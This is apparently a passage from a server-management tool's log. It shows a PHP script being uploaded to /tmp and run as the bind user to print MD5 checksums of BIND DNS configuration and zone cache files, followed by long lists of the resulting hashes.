	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 11:45:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp349169; rm /tmp/pkp349169'

2026-04-24 11:45:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 11:45:46: Establishing a connection
2026-04-24 11:45:46: 

PUT: /tmp/pkp217076

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 11:45:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp217076; rm /tmp/pkp217076'

2026-04-24 11:45:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
